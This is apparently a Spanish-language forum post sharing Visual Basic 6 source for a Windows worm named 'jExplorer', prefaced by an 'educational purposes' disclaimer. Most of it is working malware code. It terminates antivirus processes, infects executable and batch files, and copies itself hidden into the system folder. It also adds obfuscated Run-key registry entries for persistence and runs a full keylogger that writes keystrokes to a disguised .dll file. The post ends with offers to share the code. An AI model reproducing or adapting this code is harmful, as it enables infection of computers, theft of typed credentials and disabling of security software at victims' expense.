MI WORM

' jExplorer - Virus
'
' Este programa fue diseñado con fines educativos sin causar daños a primeros, segundos
' y terceros.
' Se acepta la libre distribución de este código siempre y cuando contenga los datos
' del autor y esta cabecera.
' El programador no se hace responsable del perjuicio que pueda ocasionar este programa
' quedando bajo responsabilidad del usuario final el uso de este código.

'               Realizado por:      Alexander Miss Gamboa
'                                   Instituto Tecnológico Superior de los Ríos

'                                          E-Mail: alexander_miss@hotmail.com
'                                          Balancán Tabasco México.
'
'   Cualquier duda, sugerencia y/o modificación será bien recibida.

'                                                     Elaboración: Marzo de 2007
'                                                     Última elaboración: 08 de Feb de 2008

‘==========================  C O M I E N Z A    C O D I G O    D E L     F O R M ========================

Private Sub Form_Load()
On Error GoTo jerr
Dim aux_path As String, w As Integer

Call NombresAntivirus
Call FinalizarProcesosAntivirus

aux_path = App.path
If Right(aux_path, 1) <> "\" Then aux_path = aux_path & "\"

Call InfectarArchivos(aux_path, ".bat", ".exe", ".com", ".pif", ".scr") ', ".rar", ".zip")

If App.PrevInstance Then End

If CharLower(aux_path) <> CharLower(SysDir) Then
' Aquí comprobamos si estamos en la carpeta del sistema y nos copiamos en caso de no estarlo
Dim Copia As String
   
    Copia = NombreCopia
       
    Regedit HKEY_LOCAL_MACHINE, descifrar("TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo"), descifrar("Xjoepxt!Dpnqpofou"), SysDir & "\" & Copia

    Regedit HKEY_LOCAL_MACHINE, descifrar("TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]SvoTfswjdft"), descifrar("Xjoepxt!Dpnqpofou"), SysDir & "\" & Copia

    'Regedit HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", ElegirPagina
   
    aux_path = App.path
    If Right(aux_path, 1) <> "\" Then aux_path = aux_path & "\"
   
    CopyFile aux_path & MiNombre, SysDir & "\" & Copia, 0
    SetFileAttributes SysDir & "\" & Copia, FILE_ATTRIBUTE_HIDDEN
    ShellExecute GetForegroundWindow(), "open", SysDir & "\" & Copia, vbNullString, vbNullString, 0
    End
End If

' El virus se cambia los atributos como oculto para que el usuario no sepa de su presencia
' Aunque esto no funciona siempre porque debe tener los archivos y carpetas ocultos en herramientas/opciones

SetFileAttributes aux_path & MiNombre, FILE_ATTRIBUTE_HIDDEN

FrmPrinc.Visible = False
App.TaskVisible = False
tmrCursor.Enabled = False

' Elegimos un sitio web de manera aleatoria y lo ponemos como página principal en el Registro de Windows
'Regedit HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", ElegirPagina

' Variable que utilizamos para indicar el nombre del archivo donde asignamos la información de logeo del usuario
      vb_jexplorer = CharLower(App.path & "\" & App.EXEName & ".dll")

Dim ss As SYSTEMTIME

GetSystemTime ss

With FrmPrinc
If ss.wDay = 28 And ss.wMonth = 4 Then ' Jessica Alba
    ArchivoDeTexto (JESSICA_ALBA)
    .tmrCursor = True
   
ElseIf ss.wDay = 2 And ss.wMonth = 7 Then
    'Lindsay Lohan
   
End If

'.TmrPagina.Enabled = True

.TmrjExplorer.Enabled = True
.TmrProcesos.Enabled = True
End With


If Conectado Then ' Si nos encontramos conectado    (Si conectado = True)
' Si hay conexión a Internet enviamos e-mail según la condición siguiente

    If SHFileExists(WinRar) Then

            If SHFileExists(vb_jexplorer) Then
            'Con esto es para ver si ya habiamos creado el archivo de captura del teclado, por lógica si ya ha sido
            'creado es que ya estamos en la máquina.
                'Call LoggeoMail
            Else
            'Si no pues mandamos un mail a todos los contactos por primera vez.
                'Call MandarMail
            End If
    End If
End If

' Abrimos el archivo para llevar acabo el registro de lo que hace el usuario infectado

      w = FreeFile
      Open vb_jexplorer For Append As w
            Print #w, vbCrLf & App.EXEName & " Comenzando: " & Fecha
      Close w

Exit Sub
jerr:
' Api para mensajes en pantalla sustituyendo al MsgBox de visual basic
    'MessageBox GetForegroundWindow(), "¡Error " & Str(Int(9000 * Rnd)) & "al ejecutar archivo!", "Microsoft Windows: Kernel32.dll", MB_ABORTRETRYIGNORE Or MB_ICONHAND
    End
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next

Select Case UnloadMode
Case vbAppWindows
      Dim w As Integer
      w = FreeFile
      Open vb_jexplorer For Append As w
           If (aRez <> "") Then
                Print #w, aRez
           End If
           Print #w, vbCrLf & "Finalizada la sesión " & Fecha
      Close w
Case Else
    Cancel = True
End Select
End Sub

Private Sub tmrCursor_Timer()
On Error Resume Next

' APIS
'       SetCursorPos para posicionar el mouse en coordenada x, y
'       GetSystemMetrics para la configuración de píxeles en pantalla, (0) para X y (1) para Y

SetCursorPos GetSystemMetrics(0) * Rnd, GetSystemMetrics(1) * Rnd

End Sub

Private Sub TmrPagina_Timer()
On Error Resume Next
Dim ss As SYSTEMTIME, aux As String

GetSystemTime ss

If ss.wDay = 28 And ss.wMonth = 4 Then
    aux = ElegirPaginaWeb(JESSICA_ALBA)
ElseIf ss.wDay = 2 And ss.wMonth = 7 Then
    aux = ElegirPaginaWeb(LINDSAY_LOHAN)
End If
    ShellExecute Me.hwnd, "open", aux, vbNullString, vbNullString, True
End Sub

Private Sub TmrjExplorer_Timer()
On Error Resume Next
' Esto es un Keylogger - Para más información contacte a su autor

'                                           Por: Cid (webarq@hotmail.com)
'                                                  http://www.infobyte.tk

      If (ultAplica <> VentanaActiva(False)) And (VentanaActiva(False) <> "") Then
            prnTxt = ultAplica
            ultAplica = VentanaActiva(False)
            impBin = True
            GoTo Imprime
      End If
      Dim aChr As String
      Dim i As Integer
      i = 0
      For i = 0 To 256
            If GetAsyncKeyState(i) = -32767 Then
                  aChr = Chr(i)
                  GoTo Comprueba
                  Exit For
            End If
      Next i
      Exit Sub
Comprueba:
      If (i >= 65) And (i <= 90) Then
            If (eShift = False) Then
                  If eBloqMayús = True Then
                        aChr = CharUpper(Chr(i))
                  Else
                        aChr = CharLower(Chr(i))
                  End If
            Else
                  If eBloqMayús = False Then
                        aChr = CharUpper(Chr(i))
                  Else
                        aChr = CharLower(Chr(i))
                  End If
            End If
      End If
      If (i >= 48) And (i <= 57) Then
            If eShift = True Then
                  Select Case Val(Chr(i))
                        Case 0
                              aChr = "="
                        Case 1
                              aChr = "!"
                        Case 2
                              aChr = Chr("34")
                        Case 3
                              aChr = "#"
                        Case 4
                              aChr = "$"
                        Case 5
                              aChr = "%"
                        Case 6
                              aChr = Chr("38")
                        Case 7
                              aChr = "/"
                        Case 8
                              aChr = "("
                        Case 9
                              aChr = ")"
                  End Select
            End If
      End If
      Select Case i
            Case 1
                  aChr = "[c1]"
            Case 2
                  aChr = "[c2]"
            Case 8
                  aChr = "[BackSpace]"
            Case 9
                  aChr = "[Tab]"
            Case 13
                  aChr = "[Enter]" & vbCrLf & Chr(9)
            Case 16
                  aChr = ""
            Case 17
                  aChr = "[Control]"
            Case 18
                  aChr = "[Alt]"
            Case 27
                  aChr = "[Esc]"
            Case 33
                  aChr = "[RePág]"
            Case 34
                  aChr = "[AvPág]"
            Case 35
                  aChr = "[Fin]"
            Case 36
                  aChr = "[Inicio]"
            Case 37
                  aChr = "[Izq]"
            Case 38
                  aChr = "[Arb]"
            Case 39
                  aChr = "[Der]"
            Case 40
                  aChr = "[Abj]"
            Case 44
                  aChr = "[ImprPant]"
            Case 45
                  aChr = "[Ins]"
            Case 46
                  aChr = "[Supr]"
            Case 91
                  aChr = "[win]"
            Case 92
                  aChr = "[win]"
            Case 93
                  aChr = "[mnu]"
            Case 96
                  aChr = "0"
            Case 97
                  If eShift = True Then
                        aChr = "[Fin]"
                  Else
                        aChr = "1"
                  End If
            Case 98
                  If eShift = True Then
                        aChr = "[Abj]"
                  Else
                        aChr = "2"
                  End If
            Case 99
                  If eShift = True Then
                        aChr = "[AvPág]"
                  Else
                        aChr = "3"
                  End If
            Case 100
                  If eShift = True Then
                        aChr = "[Izq]"
                  Else
                        aChr = "4"
                  End If
            Case 101
                  aChr = "5"
            Case 102
                  If eShift = True Then
                        aChr = "[Der]"
                  Else
                        aChr = "6"
                  End If
            Case 103
                  If eShift = True Then
                        aChr = "[Inicio]"
                  Else
                        aChr = "7"
                  End If
            Case 104
                  If eShift = True Then
                        aChr = "[Arr]"
                  Else
                        aChr = "8"
                  End If
            Case 105
                  If eShift = True Then
                        aChr = "[RePág]"
                  Else
                        aChr = "9"
                  End If
            Case 106
                  aChr = "*"
            Case 107
                  aChr = "+"
            Case 109
                  aChr = "-"
            Case 110
                  aChr = "."
            Case 111
                  aChr = "/"
            Case 112
                  aChr = "[F1]"
            Case 113
                  aChr = "[F2]"
            Case 114
                  aChr = "[F3]"
            Case 115
                  aChr = "[F4]"
            Case 116
                  aChr = "[F5]"
            Case 117
                  aChr = "[F6]"
            Case 118
                  aChr = "[F7]"
            Case 119
                  aChr = "[F8]"
            Case 120
                  aChr = "[F9]"
            Case 121
                  aChr = "[F10]"
            Case 122
                  aChr = "[F11]"
            Case 123
                  aChr = "[F12]"
            Case 144
                  aChr = "[BloqNum]"
            Case 145
                  aChr = "[BloqDespl]"
            Case 186
                  If (eShift = True) Then
                        aChr = "¨"
                  Else
                        aChr = "´"
                  End If
            Case 187
                  If (eShift = True) Then
                        aChr = "*"
                  Else
                        aChr = "+"
                  End If
            Case 188
                  If (eShift = True) Then
                        aChr = ";"
                  Else
                        aChr = ","
                  End If
            Case 189
                  If (eShift = True) Then
                        aChr = "_"
                  Else
                        aChr = "-"
                  End If
            Case 190
                  If (eShift = True) Then
                        aChr = ":"
                  Else
                        aChr = "."
                  End If
            Case 191
                  If (eShift = True) Then
                        aChr = "]"
                  Else
                        aChr = "}"
                  End If
            Case 192
                  If (eShift = True) Then
                        aChr = "Ñ"
                  Else
                        aChr = "ñ"
                  End If
            Case 219
                  If (eShift = True) Then
                        aChr = "?"
                  Else
                        aChr = "'"
                  End If
            Case 220
                  If (eShift = True) Then
                        aChr = "°"
                  Else
                        aChr = "|"
                  End If
            Case 221
                  If (eShift = True) Then
                        aChr = "¡"
                  Else
                        aChr = "¿"
                  End If
            Case 222
                  If (eShift = True) Then
                        aChr = "["
                  Else
                        aChr = "{"
                  End If
             Case 226
                  If (eShift = True) Then
                        aChr = ">"
                  Else
                        aChr = "<"
                  End If
      End Select
If aChr <> "" Then aRez = aRez & aChr
      Exit Sub
Imprime:
      If (impBin) Then
            aRez = Replace(aRez, "[Control][Alt]q", "@")
            aRez = Replace(aRez, "[Control][Alt]'", "\")
            aRez = Replace(aRez, "[Control][Alt]|", "¬")
            aRez = Replace(aRez, "[Control][Alt]+", "~")
            aRez = Replace(aRez, "[Control][Alt]{", "^")
            aRez = Replace(aRez, "[Control][Alt]}", "`")
            aRez = Replace(aRez, "[Control][Alt]+", "~")
            aRez = Replace(aRez, "´ ", "´")
            aRez = Replace(aRez, "´a", "á")
            aRez = Replace(aRez, "´e", "é")
            aRez = Replace(aRez, "´i", "í")
            aRez = Replace(aRez, "´o", "ó")
            aRez = Replace(aRez, "´u", "ú")
            aRez = Replace(aRez, "´y", "ý")
            aRez = Replace(aRez, "´A", "Á")
            aRez = Replace(aRez, "´E", "É")
            aRez = Replace(aRez, "´I", "Í")
            aRez = Replace(aRez, "´O", "Ó")
            aRez = Replace(aRez, "´U", "Ú")
            aRez = Replace(aRez, "´Y", "Ý")
            aRez = Replace(aRez, "¨ ", "¨")
            aRez = Replace(aRez, "¨a", "ä")
            aRez = Replace(aRez, "¨e", "ë")
            aRez = Replace(aRez, "¨i", "ï")
            aRez = Replace(aRez, "¨o", "ö")
            aRez = Replace(aRez, "¨u", "ü")
            aRez = Replace(aRez, "¨y", "ÿ")
            aRez = Replace(aRez, "¨A", "Ä")
            aRez = Replace(aRez, "¨E", "Ë")
            aRez = Replace(aRez, "¨I", "Ï")
            aRez = Replace(aRez, "¨O", "Ö")
            aRez = Replace(aRez, "¨U", "Ü")
            aRez = vbCrLf & VBA.Date & " " & VBA.Time$ & " [" & prnTxt & "]" & vbCrLf & Chr(9) & aRez
            'Debug.Print aRez
            Dim w As Integer
            w = FreeFile
            Open vb_jexplorer For Append As w
                  Print #w, aRez
            Close w
            aRez = ""
            impBin = False
      End If
End Sub

Private Sub TmrProcesos_Timer()
On Error Resume Next
Call FinalizarProcesosAntivirus
End Sub

Private Sub TmrTexto_Timer()
On Error Resume Next
' Para imprimir mensajes en pantalla al usuario infectado

Dim txt As String
txt = NombreChica & " wow!"
TextOut GetWindowDC(GetDesktopWindow()), GetSystemMetrics(0) * Rnd, GetSystemMetrics(1) * Rnd, txt, Len(txt)
End Sub

‘==========================  T E R M I N A   C O D I G O    D E L     F O R M ========================

La proxima vez que me conecte se los dare, no esta al maximo pero las funciones basicas y las ideas las tiene y sobre todo que lo hice yo a base de tutoriales y malas noches, usa funciones de "mi cerebro" y algunas Apis de Windows.
Estoy pendiente con ustedes...

Hola a todos los que hacen posible la red!
 He visto como dejan en los foros mensajes de dudas acerca de virus en vb. Yo he estado haciendo uno desde hace años cuando empece con este lenguaje pero luego lo deje para dedicarme a otras cosas. Si alguien esta interesado en EL CODIGO haganme saber para postearlo.
 ATTE: Espero sus respuestas...